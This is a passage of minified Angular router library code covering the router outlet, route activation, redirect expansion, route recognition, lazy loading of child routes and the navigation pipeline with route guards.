activatedRouteData(){return this._activatedRoute?this._activatedRoute.snapshot.data:{}}detach(){if(!this.activated)throw new n.vHH(4012,ti);this.location.detach();const p=this.activated;return this.activated=null,this._activatedRoute=null,this.detachEvents.emit(p.instance),p}attach(p,V){this.activated=p,this._activatedRoute=V,this.location.insert(p.hostView),this.attachEvents.emit(p.instance)}deactivate(){if(this.activated){const p=this.component;this.activated.destroy(),this.activated=null,this._activatedRoute=null,this.deactivateEvents.emit(p)}}activateWith(p,V){if(this.isActivated)throw new n.vHH(4013,ti);this._activatedRoute=p;const ne=this.location,tt=p.snapshot.component,Lt=this.parentContexts.getOrCreateContext(this.name).children,$t=new Xi(p,Lt,ne.injector);if(V&&function bn(M){return!!M.resolveComponentFactory}(V)){const d1=V.resolveComponentFactory(tt);this.activated=ne.createComponent(d1,ne.length,$t)}else this.activated=ne.createComponent(tt,{index:ne.length,injector:$t,environmentInjector:V??this.environmentInjector});this.changeDetector.markForCheck(),this.activateEvents.emit(this.activated.instance)}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275dir=n.lG2({type:M,selectors:[["router-outlet"]],inputs:{name:"name"},outputs:{activateEvents:"activate",deactivateEvents:"deactivate",attachEvents:"attach",detachEvents:"detach"},exportAs:["outlet"],standalone:!0,features:[n.TTD]}),M})();class Xi{constructor(A,p,V){this.route=A,this.childContexts=p,this.parent=V}get(A,p){return A===ei?this.route:A===Ci?this.childContexts:this.parent.get(A,p)}}let Gi=(()=>{class M{}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275cmp=n.Xpm({type:M,selectors:[["ng-component"]],standalone:!0,features:[n.jDz],decls:1,vars:0,template:function(p,V){1&p&&n._UZ(0,"router-outlet")},dependencies:[Oi],encapsulation:2}),M})();function un(M,A){return M.providers&&!M._injector&&(M._injector=(0,n.MMx)(M.providers,A,`Route: ${M.path}`)),M._injector??A}function v2(M){const A=M.children&&M.children.map(v2),p=A?{...M,children:A}:{...M};return!p.component&&!p.loadComponent&&(A||p.loadChildren)&&p.outlet&&p.outlet!==ct&&(p.component=Gi),p}function xn(M){return M.outlet||ct}function D2(M,A){const p=M.filter(V=>xn(V)===A);return p.push(...M.filter(V=>xn(V)!==A)),p}function Qn(M){if(!M)return null;if(M.routeConfig?._injector)return M.routeConfig._injector;for(let A=M.parent;A;A=A.parent){const p=A.routeConfig;if(p?._loadedInjector)return p._loadedInjector;if(p?._injector)return p._injector}return null}class c2{constructor(A,p,V,ne){this.routeReuseStrategy=A,this.futureState=p,this.currState=V,this.forwardEvent=ne}activate(A){const p=this.futureState._root,V=this.currState?this.currState._root:null;this.deactivateChildRoutes(p,V,A),yi(this.futureState.root),this.activateChildRoutes(p,V,A)}deactivateChildRoutes(A,p,V){const ne=Ti(p);A.children.forEach(He=>{const tt=He.value.outlet;this.deactivateRoutes(He,ne[tt],V),delete ne[tt]}),ie(ne,(He,tt)=>{this.deactivateRouteAndItsChildren(He,V)})}deactivateRoutes(A,p,V){const ne=A.value,He=p?p.value:null;if(ne===He)if(ne.component){const tt=V.getContext(ne.outlet);tt&&this.deactivateChildRoutes(A,p,tt.children)}else this.deactivateChildRoutes(A,p,V);else He&&this.deactivateRouteAndItsChildren(p,V)}deactivateRouteAndItsChildren(A,p){A.value.component&&this.routeReuseStrategy.shouldDetach(A.value.snapshot)?this.detachAndStoreRouteSubtree(A,p):this.deactivateRouteAndOutlet(A,p)}detachAndStoreRouteSubtree(A,p){const V=p.getContext(A.value.outlet),ne=V&&A.value.component?V.children:p,He=Ti(A);for(const tt of Object.keys(He))this.deactivateRouteAndItsChildren(He[tt],ne);if(V&&V.outlet){const tt=V.outlet.detach(),Lt=V.children.onOutletDeactivated();this.routeReuseStrategy.store(A.value.snapshot,{componentRef:tt,route:A,contexts:Lt})}}deactivateRouteAndOutlet(A,p){const V=p.getContext(A.value.outlet),ne=V&&A.value.component?V.children:p,He=Ti(A);for(const tt of Object.keys(He))this.deactivateRouteAndItsChildren(He[tt],ne);V&&(V.outlet&&(V.outlet.deactivate(),V.children.onOutletDeactivated()),V.attachRef=null,V.resolver=null,V.route=null)}activateChildRoutes(A,p,V){const ne=Ti(p);A.children.forEach(He=>{this.activateRoutes(He,ne[He.value.outlet],V),this.forwardEvent(new dn(He.value.snapshot))}),A.children.length&&this.forwardEvent(new ln(A.value.snapshot))}activateRoutes(A,p,V){const ne=A.value,He=p?p.value:null;if(yi(ne),ne===He)if(ne.component){const tt=V.getOrCreateContext(ne.outlet);this.activateChildRoutes(A,p,tt.children)}else this.activateChildRoutes(A,p,V);else if(ne.component){const tt=V.getOrCreateContext(ne.outlet);if(this.routeReuseStrategy.shouldAttach(ne.snapshot)){const Lt=this.routeReuseStrategy.retrieve(ne.snapshot);this.routeReuseStrategy.store(ne.snapshot,null),tt.children.onOutletReAttached(Lt.contexts),tt.attachRef=Lt.componentRef,tt.route=Lt.route.value,tt.outlet&&tt.outlet.attach(Lt.componentRef,Lt.route.value),yi(Lt.route.value),this.activateChildRoutes(A,null,tt.children)}else{const Lt=Qn(ne.snapshot),$t=Lt?.get(n._Vd)??null;tt.attachRef=null,tt.route=ne,tt.resolver=$t,tt.injector=Lt,tt.outlet&&tt.outlet.activateWith(ne,tt.injector),this.activateChildRoutes(A,null,tt.children)}}else this.activateChildRoutes(A,null,V)}}class ye{constructor(A){this.path=A,this.route=this.path[this.path.length-1]}}class st{constructor(A,p){this.component=A,this.route=p}}function I(M,A,p){const V=M._root;return ue(V,A?A._root:null,p,[V.value])}function T(M,A){const p=Symbol(),V=A.get(M,p);return V===p?"function"!=typeof M||(0,n.Z0I)(M)?A.get(M):M:V}function ue(M,A,p,V,ne={canDeactivateChecks:[],canActivateChecks:[]}){const He=Ti(A);return M.children.forEach(tt=>{(function gt(M,A,p,V,ne={canDeactivateChecks:[],canActivateChecks:[]}){const He=M.value,tt=A?A.value:null,Lt=p?p.getContext(M.value.outlet):null;if(tt&&He.routeConfig===tt.routeConfig){const $t=function Ot(M,A,p){if("function"==typeof p)return p(M,A);switch(p){case"pathParamsChange":return!Ue(M.url,A.url);case"pathParamsOrQueryParamsChange":return!Ue(M.url,A.url)||!te(M.queryParams,A.queryParams);case"always":return!0;case"paramsOrQueryParamsChange":return!Bi(M,A)||!te(M.queryParams,A.queryParams);default:return!Bi(M,A)}}(tt,He,He.routeConfig.runGuardsAndResolvers);$t?ne.canActivateChecks.push(new ye(V)):(He.data=tt.data,He._resolvedData=tt._resolvedData),ue(M,A,He.component?Lt?Lt.children:null:p,V,ne),$t&&Lt&&Lt.outlet&&Lt.outlet.isActivated&&ne.canDeactivateChecks.push(new st(Lt.outlet.component,tt))}else tt&&Jt(A,Lt,ne),ne.canActivateChecks.push(new ye(V)),ue(M,null,He.component?Lt?Lt.children:null:p,V,ne)})(tt,He[tt.value.outlet],p,V.concat([tt.value]),ne),delete He[tt.value.outlet]}),ie(He,(tt,Lt)=>Jt(tt,p.getContext(Lt),ne)),ne}function Jt(M,A,p){const V=Ti(M),ne=M.value;ie(V,(He,tt)=>{Jt(He,ne.component?A?A.children.getContext(tt):null:A,p)}),p.canDeactivateChecks.push(new st(ne.component&&A&&A.outlet&&A.outlet.isActivated?A.outlet.component:null,ne))}function Tt(M){return"function"==typeof M}function qn(M){return M instanceof f||"EmptyError"===M?.name}const xi=Symbol("INITIAL_VALUE");function Wn(){return(0,oe.w)(M=>(0,E.aj)(M.map(A=>A.pipe((0,Ce.q)(1),(0,k.O)(xi)))).pipe((0,Q.U)(A=>{for(const p of A)if(!0!==p){if(p===xi)return xi;if(!1===p||p instanceof Fe)return p}return!0}),(0,K.h)(A=>A!==xi),(0,Ce.q)(1)))}function Ut(M){return(0,g.z)((0,Ke.b)(A=>{if(vt(A))throw fi(0,A)}),(0,Q.U)(A=>!0===A))}const l1={matched:!1,consumedSegments:[],remainingSegments:[],parameters:{},positionalParamSegments:{}};function F1(M,A,p,V,ne){const He=A1(M,A,p);return He.matched?function o1(M,A,p,V){const ne=A.canMatch;if(!ne||0===ne.length)return(0,s.of)(!0);const He=ne.map(tt=>{const Lt=T(tt,M);return Xe(function Dn(M){return M&&Tt(M.canMatch)}(Lt)?Lt.canMatch(A,p):M.runInContext(()=>Lt(A,p)))});return(0,s.of)(He).pipe(Wn(),Ut())}(V=un(A,V),A,p).pipe((0,Q.U)(tt=>!0===tt?He:{...l1})):(0,s.of)(He)}function A1(M,A,p){if(""===A.path)return"full"===A.pathMatch&&(M.hasChildren()||p.length>0)?{...l1}:{matched:!0,consumedSegments:[],remainingSegments:p,parameters:{},positionalParamSegments:{}};const ne=(A.matcher||Pt)(p,M,A);if(!ne)return{...l1};const He={};ie(ne.posParams,(Lt,$t)=>{He[$t]=Lt.path});const tt=ne.consumed.length>0?{...He,...ne.consumed[ne.consumed.length-1].parameters}:He;return{matched:!0,consumedSegments:ne.consumed,remainingSegments:p.slice(ne.consumed.length),parameters:tt,positionalParamSegments:ne.posParams??{}}}function C1(M,A,p,V){if(p.length>0&&function tn(M,A,p){return p.some(V=>En(M,A,V)&&xn(V)!==ct)}(M,p,V)){const He=new be(A,function Q1(M,A,p,V){const ne={};ne[ct]=V,V._sourceSegment=M,V._segmentIndexShift=A.length;for(const He of p)if(""===He.path&&xn(He)!==ct){const tt=new be([],{});tt._sourceSegment=M,tt._segmentIndexShift=A.length,ne[xn(He)]=tt}return ne}(M,A,V,new be(p,M.children)));return He._sourceSegment=M,He._segmentIndexShift=A.length,{segmentGroup:He,slicedSegments:[]}}if(0===p.length&&function Tn(M,A,p){return p.some(V=>En(M,A,V))}(M,p,V)){const He=new be(M.segments,function S1(M,A,p,V,ne){const He={};for(const tt of V)if(En(M,p,tt)&&!ne[xn(tt)]){const Lt=new be([],{});Lt._sourceSegment=M,Lt._segmentIndexShift=A.length,He[xn(tt)]=Lt}return{...ne,...He}}(M,A,p,V,M.children));return He._sourceSegment=M,He._segmentIndexShift=A.length,{segmentGroup:He,slicedSegments:p}}const ne=new be(M.segments,M.children);return ne._sourceSegment=M,ne._segmentIndexShift=A.length,{segmentGroup:ne,slicedSegments:p}}function En(M,A,p){return(!(M.hasChildren()||A.length>0)||"full"!==p.pathMatch)&&""===p.path}function wn(M,A,p,V){return!!(xn(M)===V||V!==ct&&En(A,p,M))&&("**"===M.path||A1(A,M,p).matched)}function e2(M,A,p){return 0===A.length&&!M.children[p]}const ni=!1;class Un{constructor(A){this.segmentGroup=A||null}}class hn{constructor(A){this.urlTree=A}}function zn(M){return(0,C._)(new Un(M))}function $1(M){return(0,C._)(new hn(M))}class Y2{constructor(A,p,V,ne,He){this.injector=A,this.configLoader=p,this.urlSerializer=V,this.urlTree=ne,this.config=He,this.allowRedirects=!0}apply(){const A=C1(this.urlTree.root,[],[],this.config).segmentGroup,p=new be(A.segments,A.children);return this.expandSegmentGroup(this.injector,this.config,p,ct).pipe((0,Q.U)(He=>this.createUrlTree(on(He),this.urlTree.queryParams,this.urlTree.fragment))).pipe((0,dt.K)(He=>{if(He instanceof hn)return this.allowRedirects=!1,this.match(He.urlTree);throw He instanceof Un?this.noMatchError(He):He}))}match(A){return this.expandSegmentGroup(this.injector,this.config,A.root,ct).pipe((0,Q.U)(ne=>this.createUrlTree(on(ne),A.queryParams,A.fragment))).pipe((0,dt.K)(ne=>{throw ne instanceof Un?this.noMatchError(ne):ne}))}noMatchError(A){return new n.vHH(4002,ni)}createUrlTree(A,p,V){const ne=P1(A);return new Fe(ne,p,V)}expandSegmentGroup(A,p,V,ne){return 0===V.segments.length&&V.hasChildren()?this.expandChildren(A,p,V).pipe((0,Q.U)(He=>new be([],He))):this.expandSegment(A,V,p,V.segments,ne,!0)}expandChildren(A,p,V){const ne=[];for(const He of Object.keys(V.children))"primary"===He?ne.unshift(He):ne.push(He);return(0,a.D)(ne).pipe((0,qe.b)(He=>{const tt=V.children[He],Lt=D2(p,He);return this.expandSegmentGroup(A,Lt,tt,He).pipe((0,Q.U)($t=>({segment:$t,outlet:He})))}),bt((He,tt)=>(He[tt.outlet]=tt.segment,He),{}),Be())}expandSegment(A,p,V,ne,He,tt){return(0,a.D)(V).pipe((0,qe.b)(Lt=>this.expandSegmentAgainstRoute(A,p,V,Lt,ne,He,tt).pipe((0,dt.K)(d1=>{if(d1 instanceof Un)return(0,s.of)(null);throw d1}))),Ye(Lt=>!!Lt),(0,dt.K)((Lt,$t)=>{if(qn(Lt))return e2(p,ne,He)?(0,s.of)(new be([],{})):zn(p);throw Lt}))}expandSegmentAgainstRoute(A,p,V,ne,He,tt,Lt){return wn(ne,p,He,tt)?void 0===ne.redirectTo?this.matchSegmentAgainstRoute(A,p,ne,He,tt):Lt&&this.allowRedirects?this.expandSegmentAgainstRouteUsingRedirect(A,p,V,ne,He,tt):zn(p):zn(p)}expandSegmentAgainstRouteUsingRedirect(A,p,V,ne,He,tt){return"**"===ne.path?this.expandWildCardWithParamsAgainstRouteUsingRedirect(A,V,ne,tt):this.expandRegularSegmentAgainstRouteUsingRedirect(A,p,V,ne,He,tt)}expandWildCardWithParamsAgainstRouteUsingRedirect(A,p,V,ne){const He=this.applyRedirectCommands([],V.redirectTo,{});return V.redirectTo.startsWith("/")?$1(He):this.lineralizeSegments(V,He).pipe((0,se.zg)(tt=>{const Lt=new be(tt,{});return this.expandSegment(A,Lt,p,tt,ne,!1)}))}expandRegularSegmentAgainstRouteUsingRedirect(A,p,V,ne,He,tt){const{matched:Lt,consumedSegments:$t,remainingSegments:d1,positionalParamSegments:f1}=A1(p,ne,He);if(!Lt)return zn(p);const q1=this.applyRedirectCommands($t,ne.redirectTo,f1);return ne.redirectTo.startsWith("/")?$1(q1):this.lineralizeSegments(ne,q1).pipe((0,se.zg)(On=>this.expandSegment(A,p,V,On.concat(d1),tt,!1)))}matchSegmentAgainstRoute(A,p,V,ne,He){return"**"===V.path?(A=un(V,A),V.loadChildren?(V._loadedRoutes?(0,s.of)({routes:V._loadedRoutes,injector:V._loadedInjector}):this.configLoader.loadChildren(A,V)).pipe((0,Q.U)(Lt=>(V._loadedRoutes=Lt.routes,V._loadedInjector=Lt.injector,new be(ne,{})))):(0,s.of)(new be(ne,{}))):F1(p,V,ne,A).pipe((0,oe.w)(({matched:tt,consumedSegments:Lt,remainingSegments:$t})=>tt?this.getChildConfig(A=V._injector??A,V,ne).pipe((0,se.zg)(f1=>{const q1=f1.injector??A,On=f1.routes,{segmentGroup:A2,slicedSegments:Yi}=C1(p,Lt,$t,On),P2=new be(A2.segments,A2.children);if(0===Yi.length&&P2.hasChildren())return this.expandChildren(q1,On,P2).pipe((0,Q.U)(Yr=>new be(Lt,Yr)));if(0===On.length&&0===Yi.length)return(0,s.of)(new be(Lt,{}));const r2=xn(V)===He;return this.expandSegment(q1,P2,On,Yi,r2?ct:He,!0).pipe((0,Q.U)(S2=>new be(Lt.concat(S2.segments),S2.children)))})):zn(p)))}getChildConfig(A,p,V){return p.children?(0,s.of)({routes:p.children,injector:A}):p.loadChildren?void 0!==p._loadedRoutes?(0,s.of)({routes:p._loadedRoutes,injector:p._loadedInjector}):function Ft(M,A,p,V){const ne=A.canLoad;if(void 0===ne||0===ne.length)return(0,s.of)(!0);const He=ne.map(tt=>{const Lt=T(tt,M);return Xe(function O1(M){return M&&Tt(M.canLoad)}(Lt)?Lt.canLoad(A,p):M.runInContext(()=>Lt(A,p)))});return(0,s.of)(He).pipe(Wn(),Ut())}(A,p,V).pipe((0,se.zg)(ne=>ne?this.configLoader.loadChildren(A,p).pipe((0,Ke.b)(He=>{p._loadedRoutes=He.routes,p._loadedInjector=He.injector})):function z2(M){return(0,C._)(Ui(ni,3))}())):(0,s.of)({routes:[],injector:A})}lineralizeSegments(A,p){let V=[],ne=p.root;for(;;){if(V=V.concat(ne.segments),0===ne.numberOfChildren)return(0,s.of)(V);if(ne.numberOfChildren>1||!ne.children[ct])return A.redirectTo,(0,C._)(new n.vHH(4e3,ni));ne=ne.children[ct]}}applyRedirectCommands(A,p,V){return this.applyRedirectCreateUrlTree(p,this.urlSerializer.parse(p),A,V)}applyRedirectCreateUrlTree(A,p,V,ne){const He=this.createSegmentGroup(A,p.root,V,ne);return new Fe(He,this.createQueryParams(p.queryParams,this.urlTree.queryParams),p.fragment)}createQueryParams(A,p){const V={};return ie(A,(ne,He)=>{if("string"==typeof ne&&ne.startsWith(":")){const Lt=ne.substring(1);V[He]=p[Lt]}else V[He]=ne}),V}createSegmentGroup(A,p,V,ne){const He=this.createSegments(A,p.segments,V,ne);let tt={};return ie(p.children,(Lt,$t)=>{tt[$t]=this.createSegmentGroup(A,Lt,V,ne)}),new be(He,tt)}createSegments(A,p,V,ne){return p.map(He=>He.path.startsWith(":")?this.findPosParam(A,He,ne):this.findOrReturn(He,V))}findPosParam(A,p,V){const ne=V[p.path.substring(1)];if(!ne)throw new n.vHH(4001,ni);return ne}findOrReturn(A,p){let V=0;for(const ne of p){if(ne.path===A.path)return p.splice(V),ne;V++}return A}}class y1{}class N{constructor(A,p,V,ne,He,tt,Lt){this.injector=A,this.rootComponentType=p,this.config=V,this.urlTree=ne,this.url=He,this.paramsInheritanceStrategy=tt,this.urlSerializer=Lt}recognize(){const A=C1(this.urlTree.root,[],[],this.config.filter(p=>void 0===p.redirectTo)).segmentGroup;return this.processSegmentGroup(this.injector,this.config,A,ct).pipe((0,Q.U)(p=>{if(null===p)return null;const V=new f2([],Object.freeze({}),Object.freeze({...this.urlTree.queryParams}),this.urlTree.fragment,{},ct,this.rootComponentType,null,this.urlTree.root,-1,{}),ne=new Kn(V,p),He=new Vi(this.url,ne);return this.inheritParamsAndData(He._root),He}))}inheritParamsAndData(A){const p=A.value,V=Zn(p,this.paramsInheritanceStrategy);p.params=Object.freeze(V.params),p.data=Object.freeze(V.data),A.children.forEach(ne=>this.inheritParamsAndData(ne))}processSegmentGroup(A,p,V,ne){return 0===V.segments.length&&V.hasChildren()?this.processChildren(A,p,V):this.processSegment(A,p,V,V.segments,ne)}processChildren(A,p,V){return(0,a.D)(Object.keys(V.children)).pipe((0,qe.b)(ne=>{const He=V.children[ne],tt=D2(p,ne);return this.processSegmentGroup(A,tt,He,ne)}),bt((ne,He)=>ne&&He?(ne.push(...He),ne):null),(0,pe.o)(ne=>null!==ne),q(null),Be(),(0,Q.U)(ne=>{if(null===ne)return null;const He=ht(ne);return function he(M){M.sort((A,p)=>A.value.outlet===ct?-1:p.value.outlet===ct?1:A.value.outlet.localeCompare(p.value.outlet))}(He),He}))}processSegment(A,p,V,ne,He){return(0,a.D)(p).pipe((0,qe.b)(tt=>this.processSegmentAgainstRoute(tt._injector??A,tt,V,ne,He)),Ye(tt=>!!tt),(0,dt.K)(tt=>{if(qn(tt))return e2(V,ne,He)?(0,s.of)([]):(0,s.of)(null);throw tt}))}processSegmentAgainstRoute(A,p,V,ne,He){if(p.redirectTo||!wn(p,V,ne,He))return(0,s.of)(null);let tt;if("**"===p.path){const Lt=ne.length>0?b(ne).parameters:{},$t=s1(V)+ne.length,d1=new f2(ne,Lt,Object.freeze({...this.urlTree.queryParams}),this.urlTree.fragment,g1(p),xn(p),p.component??p._loadedComponent??null,p,Yt(V),$t,B1(p));tt=(0,s.of)({snapshot:d1,consumedSegments:[],remainingSegments:[]})}else tt=F1(V,p,ne,A).pipe((0,Q.U)(({matched:Lt,consumedSegments:$t,remainingSegments:d1,parameters:f1})=>{if(!Lt)return null;const q1=s1(V)+$t.length;return{snapshot:new f2($t,f1,Object.freeze({...this.urlTree.queryParams}),this.urlTree.fragment,g1(p),xn(p),p.component??p._loadedComponent??null,p,Yt(V),q1,B1(p)),consumedSegments:$t,remainingSegments:d1}}));return tt.pipe((0,oe.w)(Lt=>{if(null===Lt)return(0,s.of)(null);const{snapshot:$t,consumedSegments:d1,remainingSegments:f1}=Lt;A=p._injector??A;const q1=p._loadedInjector??A,On=function W(M){return M.children?M.children:M.loadChildren?M._loadedRoutes:[]}(p),{segmentGroup:A2,slicedSegments:Yi}=C1(V,d1,f1,On.filter(r2=>void 0===r2.redirectTo));if(0===Yi.length&&A2.hasChildren())return this.processChildren(q1,On,A2).pipe((0,Q.U)(r2=>null===r2?null:[new Kn($t,r2)]));if(0===On.length&&0===Yi.length)return(0,s.of)([new Kn($t,[])]);const P2=xn(p)===He;return this.processSegment(q1,On,A2,Yi,P2?ct:He).pipe((0,Q.U)(r2=>null===r2?null:[new Kn($t,r2)]))}))}}function Ve(M){const A=M.value.routeConfig;return A&&""===A.path&&void 0===A.redirectTo}function ht(M){const A=[],p=new Set;for(const V of M){if(!Ve(V)){A.push(V);continue}const ne=A.find(He=>V.value.routeConfig===He.value.routeConfig);void 0!==ne?(ne.children.push(...V.children),p.add(ne)):A.push(V)}for(const V of p){const ne=ht(V.children);A.push(new Kn(V.value,ne))}return A.filter(V=>!p.has(V))}function Yt(M){let A=M;for(;A._sourceSegment;)A=A._sourceSegment;return A}function s1(M){let A=M,p=A._segmentIndexShift??0;for(;A._sourceSegment;)A=A._sourceSegment,p+=A._segmentIndexShift??0;return p-1}function g1(M){return M.data||{}}function B1(M){return M.resolve||{}}function t2(M){return"string"==typeof M.title||null===M.title}function mi(M){return(0,oe.w)(A=>{const p=M(A);return p?(0,a.D)(p).pipe((0,Q.U)(()=>A)):(0,s.of)(A)})}const Ai=new n.OlP("ROUTES");let ji=(()=>{class M{constructor(){this.componentLoaders=new WeakMap,this.childrenLoaders=new WeakMap,this.compiler=(0,n.f3M)(n.Sil)}loadComponent(p){if(this.componentLoaders.get(p))return this.componentLoaders.get(p);if(p._loadedComponent)return(0,s.of)(p._loadedComponent);this.onLoadStartListener&&this.onLoadStartListener(p);const V=Xe(p.loadComponent()).pipe((0,Q.U)($2),(0,Ke.b)(He=>{this.onLoadEndListener&&this.onLoadEndListener(p),p._loadedComponent=He}),(0,w.x)(()=>{this.componentLoaders.delete(p)})),ne=new j.c(V,()=>new U.xQ).pipe((0,R.x)());return this.componentLoaders.set(p,ne),ne}loadChildren(p,V){if(this.childrenLoaders.get(V))return this.childrenLoaders.get(V);if(V._loadedRoutes)return(0,s.of)({routes:V._loadedRoutes,injector:V._loadedInjector});this.onLoadStartListener&&this.onLoadStartListener(V);const He=this.loadModuleFactoryOrRoutes(V.loadChildren).pipe((0,Q.U)(Lt=>{this.onLoadEndListener&&this.onLoadEndListener(V);let $t,d1,f1=!1;Array.isArray(Lt)?d1=Lt:($t=Lt.create(p).injector,d1=m($t.get(Ai,[],n.XFs.Self|n.XFs.Optional)));return{routes:d1.map(v2),injector:$t}}),(0,w.x)(()=>{this.childrenLoaders.delete(V)})),tt=new j.c(He,()=>new U.xQ).pipe((0,R.x)());return this.childrenLoaders.set(V,tt),tt}loadModuleFactoryOrRoutes(p){return Xe(p()).pipe((0,Q.U)($2),(0,se.zg)(V=>V instanceof n.YKP||Array.isArray(V)?(0,s.of)(V):(0,a.D)(this.compiler.compileModuleAsync(V))))}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})();function $2(M){return function or(M){return M&&"object"==typeof M&&"default"in M}(M)?M.default:M}let K2=(()=>{class M{get hasRequestedNavigation(){return 0!==this.navigationId}constructor(){this.currentNavigation=null,this.lastSuccessfulNavigation=null,this.events=new U.xQ,this.configLoader=(0,n.f3M)(ji),this.environmentInjector=(0,n.f3M)(n.lqb),this.urlSerializer=(0,n.f3M)(J),this.rootContexts=(0,n.f3M)(Ci),this.navigationId=0,this.afterPreactivation=()=>(0,s.of)(void 0),this.rootComponentType=null,this.configLoader.onLoadEndListener=ne=>this.events.next(new _i(ne)),this.configLoader.onLoadStartListener=ne=>this.events.next(new ri(ne))}complete(){this.transitions?.complete()}handleNavigationRequest(p){const V=++this.navigationId;this.transitions?.next({...this.transitions.value,...p,id:V})}setupNavigations(p){return this.transitions=new u.X({id:0,targetPageId:0,currentUrlTree:p.currentUrlTree,currentRawUrl:p.currentUrlTree,extractedUrl:p.urlHandlingStrategy.extract(p.currentUrlTree),urlAfterRedirects:p.urlHandlingStrategy.extract(p.currentUrlTree),rawUrl:p.currentUrlTree,extras:{},resolve:null,reject:null,promise:Promise.resolve(!0),source:Rn,restoredState:null,currentSnapshot:p.routerState.snapshot,targetSnapshot:null,currentRouterState:p.routerState,targetRouterState:null,guards:{canActivateChecks:[],canDeactivateChecks:[]},guardsResult:null}),this.transitions.pipe((0,K.h)(V=>0!==V.id),(0,Q.U)(V=>({...V,extractedUrl:p.urlHandlingStrategy.extract(V.rawUrl)})),(0,oe.w)(V=>{let ne=!1,He=!1;return(0,s.of)(V).pipe((0,Ke.b)(tt=>{this.currentNavigation={id:tt.id,initialUrl:tt.rawUrl,extractedUrl:tt.extractedUrl,trigger:tt.source,extras:tt.extras,previousNavigation:this.lastSuccessfulNavigation?{...this.lastSuccessfulNavigation,previousNavigation:null}:null}}),(0,oe.w)(tt=>{const Lt=p.browserUrlTree.toString(),$t=!p.navigated||tt.extractedUrl.toString()!==Lt||Lt!==p.currentUrlTree.toString();if(!$t&&"reload"!==(tt.extras.onSameUrlNavigation??p.onSameUrlNavigation)){const f1="";return this.events.next(new An(tt.id,p.serializeUrl(V.rawUrl),f1,0)),p.rawUrlTree=tt.rawUrl,tt.resolve(null),H.E}if(p.urlHandlingStrategy.shouldProcessUrl(tt.rawUrl))return Cr(tt.source)&&(p.browserUrlTree=tt.extractedUrl),(0,s.of)(tt).pipe((0,oe.w)(f1=>{const q1=this.transitions?.getValue();return this.events.next(new X1(f1.id,this.urlSerializer.serialize(f1.extractedUrl),f1.source,f1.restoredState)),q1!==this.transitions?.getValue()?H.E:Promise.resolve(f1)}),function W2(M,A,p,V){return(0,oe.w)(ne=>function l2(M,A,p,V,ne){return new Y2(M,A,p,V,ne).apply()}(M,A,p,ne.extractedUrl,V).pipe((0,Q.U)(He=>({...ne,urlAfterRedirects:He}))))}(this.environmentInjector,this.configLoader,this.urlSerializer,p.config),(0,Ke.b)(f1=>{this.currentNavigation={...this.currentNavigation,finalUrl:f1.urlAfterRedirects},V.urlAfterRedirects=f1.urlAfterRedirects}),function I1(M,A,p,V,ne){return(0,se.zg)(He=>function H1(M,A,p,V,ne,He,tt="emptyOnly"){return new N(M,A,p,V,ne,tt,He).recognize().pipe((0,oe.w)(Lt=>null===Lt?function M1(M){return new z.y(A=>A.error(M))}(new y1):(0,s.of)(Lt)))}(M,A,p,He.urlAfterRedirects,V.serialize(He.urlAfterRedirects),V,ne).pipe((0,Q.U)(tt=>({...He,targetSnapshot:tt}))))}(this.environmentInjector,this.rootComponentType,p.config,this.urlSerializer,p.paramsInheritanceStrategy),(0,Ke.b)(f1=>{if(V.targetSnapshot=f1.targetSnapshot,"eager"===p.urlUpdateStrategy){if(!f1.extras.skipLocationChange){const On=p.urlHandlingStrategy.merge(f1.urlAfterRedirects,f1.rawUrl);p.setBrowserUrl(On,f1)}p.browserUrlTree=f1.urlAfterRedirects}const q1=new li(f1.id,this.urlSerializer.serialize(f1.extractedUrl),this.urlSerializer.serialize(f1.urlAfterRedirects),f1.targetSnapshot);this.events.next(q1)}));if($t&&p.urlHandlingStrategy.shouldProcessUrl(p.rawUrlTree)){const{id:f1,extractedUrl:q1,source:On,restoredState:A2,extras:Yi}=tt,P2=new X1(f1,this.urlSerializer.serialize(q1),On,A2);this.events.next(P2);const r2=h2(q1,this.rootComponentType).snapshot;return V={...tt,targetSnapshot:r2,urlAfterRedirects:q1,extras:{...Yi,skipLocationChange:!1,replaceUrl:!1}},(0,s.of)(V)}{const f1="";return this.events.next(new An(tt.id,p.serializeUrl(V.extractedUrl),f1,1)),p.rawUrlTree=tt.rawUrl,tt.resolve(null),H.E}}),(0,Ke.b)(tt=>{const Lt=new L1(tt.id,this.urlSerializer.serialize(tt.extractedUrl),this.urlSerializer.serialize(tt.urlAfterRedirects),tt.targetSnapshot);this.events.next(Lt)}),(0,Q.U)(tt=>V={...tt,guards:I(tt.targetSnapshot,tt.currentSnapshot,this.rootContexts)}),function Te(M,A){return(0,se.zg)(p=>{const{targetSnapshot:V,currentSnapshot:ne,guards:{canActivateChecks:He,canDeactivateChecks:tt}}=p;return 0===tt.length&&0===He.length?(0,s.of)({...p,guardsResult:!0}):function y(M,A,p,V){return(0,a.D)(M).pipe((0,se.zg)(ne=>function Mt(M,A,p,V,ne){const He=A&&A.routeConfig?A.routeConfig.canDeactivate:null;if(!He||0===He.length)return(0,s.of)(!0);const tt=He.map(Lt=>{const $t=Qn(A)??ne,d1=T(Lt,$t);return Xe(function Bn(M){return M&&Tt(M.canDeactivate)}(d1)?d1.canDeactivate(M,A,p,V):$t.runInContext(()=>d1(M,A,p,V))).pipe(Ye())});return(0,s.of)(tt).pipe(Wn())}(ne.component,ne.route,p,A,V)),Ye(ne=>!0!==ne,!0))}(tt,V,ne,M).pipe((0,se.zg)(Lt=>Lt&&function t1(M){return"boolean"==typeof M}(Lt)?function D(M,A,p,V){return(0,a.D)(A).pipe((0,qe.b)(ne=>(0,_.z)(function Le(M,A){return null!==M&&A&&A(new Nn(M)),(0,s.of)(!0)}(ne.route.parent,V),function Z(M,A){return null!==M&&A&&A(new u2(M)),(0,s.of)(!0)}(ne.route,V),function yt(M,A,p){const V=A[A.length-1],He=A.slice(0,A.length-1).reverse().map(tt=>function L(M){const A=M.routeConfig?M.routeConfig.canActivateChild:null;return A&&0!==A.length?{node:M,guards:A}:null}(tt)).filter(tt=>null!==tt).map(tt=>(0,S.P)(()=>{const Lt=tt.guards.map($t=>{const d1=Qn(tt.node)??p,f1=T($t,d1);return Xe(function W1(M){return 